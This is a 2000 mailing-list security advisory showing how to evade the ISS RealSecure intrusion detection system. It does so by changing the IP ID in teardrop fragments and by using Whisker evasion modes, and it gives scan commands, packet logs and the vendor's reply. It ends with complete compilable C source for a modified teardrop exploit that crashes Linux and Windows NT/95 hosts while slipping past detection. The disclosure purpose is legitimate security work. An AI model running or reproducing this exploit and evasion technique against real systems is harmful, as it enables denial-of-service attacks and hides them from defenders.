Date: Tue, 29 Feb 2000 10:58:58 +0100
From: Stephane Aubert <[email protected]>
To: [email protected]Subject: Security problem with ISS RealSecure
Hello,
Playing around with ISS RealSecure, a well known network intrusion detection
system (NIDS), we have encountered the following security problems:
o It is possible to bypass the detection of TearDrop, SynDrop, NewTear
or Targa DOS attacks.
o Some of Whisker evading modes are still/really effective i.e. it is possible
to stealth scan a web server for CGIs.
This has been tested on ISS RealSecure version 3.2.1999.343 on Windows NT.
1. Teardrop signature in RealSecure
For example, the original/public teardrop.c version exploits the overlapping
IP fragment bug by sending 2 IP fragments. The ID field of the 2 IP fragments
is not involved in the attack and was fixed to 242 (why not ? ;-) ):
*((u_short *)p_ptr) = htons(242); /* IP id */
By changing this value from 242 to 666 (it can be a random number),
RealSecure won't detect teardrop attacks.
The only field changed is the ID field of the IP fragment. Using Snort you can
also sniff the network:
Original teardrop (detected):
02/11-09:37:03.822772 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
UDP TTL:64 TOS:0x0 ID:242 MF
Frag Offset: 0x0 Frag Size: 0x24
02/11-09:37:03.822829 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
UDP TTL:64 TOS:0x0 ID:242
Frag Offset: 0x3 Frag Size: 0x4
Modified teardrop (NOT detected):
02/11-09:37:07.967350 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
UDP TTL:64 TOS:0x0 ID:666 MF
Frag Offset: 0x0 Frag Size: 0x24
02/11-09:37:07.968076 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
UDP TTL:64 TOS:0x0 ID:666
Frag Offset: 0x3 Frag Size: 0x4
2. Whisker evading modes vs. RealSecure
Stealth scan can be done using Whisker v1.3.0a and the HEAD method.
It is also possible to use the GET method (-M 2), in that case you
must use an evading mode (0, 6 or both) to avoid detection.
Examples:
./whisker.pl -h xxx.yyy.zzz.ttt -I 1246
./whisker.pl -h xxx.yyy.zzz.ttt -I 0 -M 2
./whisker.pl -h xxx.yyy.zzz.ttt -I 6 -M 2
./whisker.pl -h xxx.yyy.zzz.ttt -I 60 -M 2
3. ISS has been made aware of the issue and is looking into its details.
We sent the above information to ISS by email 15 days ago; here is their answer:
"Thanks for your in depth analysis of our RealSecure Teardrop signature. We
rarely get such detailed reports and they are very much appreciated. Now
that we are aware of the issue, we've logged this as a bug so we can address
it in an upcoming release.
We haven't tested RealSecure against Whisker, but now that brought this to
our attention we can add it to our product test plan. We work very hard to
test our products against as many known attacks as possible and information
like this allows us to improve our test plan with every release.
Please feel free to provide us feedback like this in the future as it helps
us make a better product for all our customers."
Regards,
Stephane
--
Stephane AUBERT -=- Herve Schauer Consultants
Email : [email protected]http://www.hsc.fr/
* Links
ISS RealSecure : http://solutions.iss.net/products/rsecure/rs_checks.php
Snort : http://www.clark.net/~roesch/security.html
Whisker : http://www.wiretrip.net/rfp/
Teardrop, Targa, and so on : http://packetstorm.securify.com/DoS/
* Demonstration program
/*
* Copyright (c) 1997 route|daemon9 <[email protected]> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* Modification : Stephane Aubert and Denis Ducamp
* Date : 14/02/2000
* (c) Herve Schauer Consultants 2000
* Description : change ID field to bypass ISS RealSecure
*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short,long);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
long ip_mf;
fprintf(stderr, "teardrop route|daemon9\\n\\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\\n", count);
fprintf(stderr, "[ ");
ip_mf = 0x2000;
for (i = 0; i < COUNT; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt,ip_mf);
fprintf(stderr, "b00m:%x ",ip_mf);
usleep(500);
ip_mf += 0x10;
}
fprintf(stderr, "]\\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt, long ip_mf)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
/* SA/HSC : ID was 242 - change to 666 to bypass ISS RealSecure */
*((u_short *)p_ptr) = htons(666); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(ip_mf); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\\n",
name);
exit(0);
}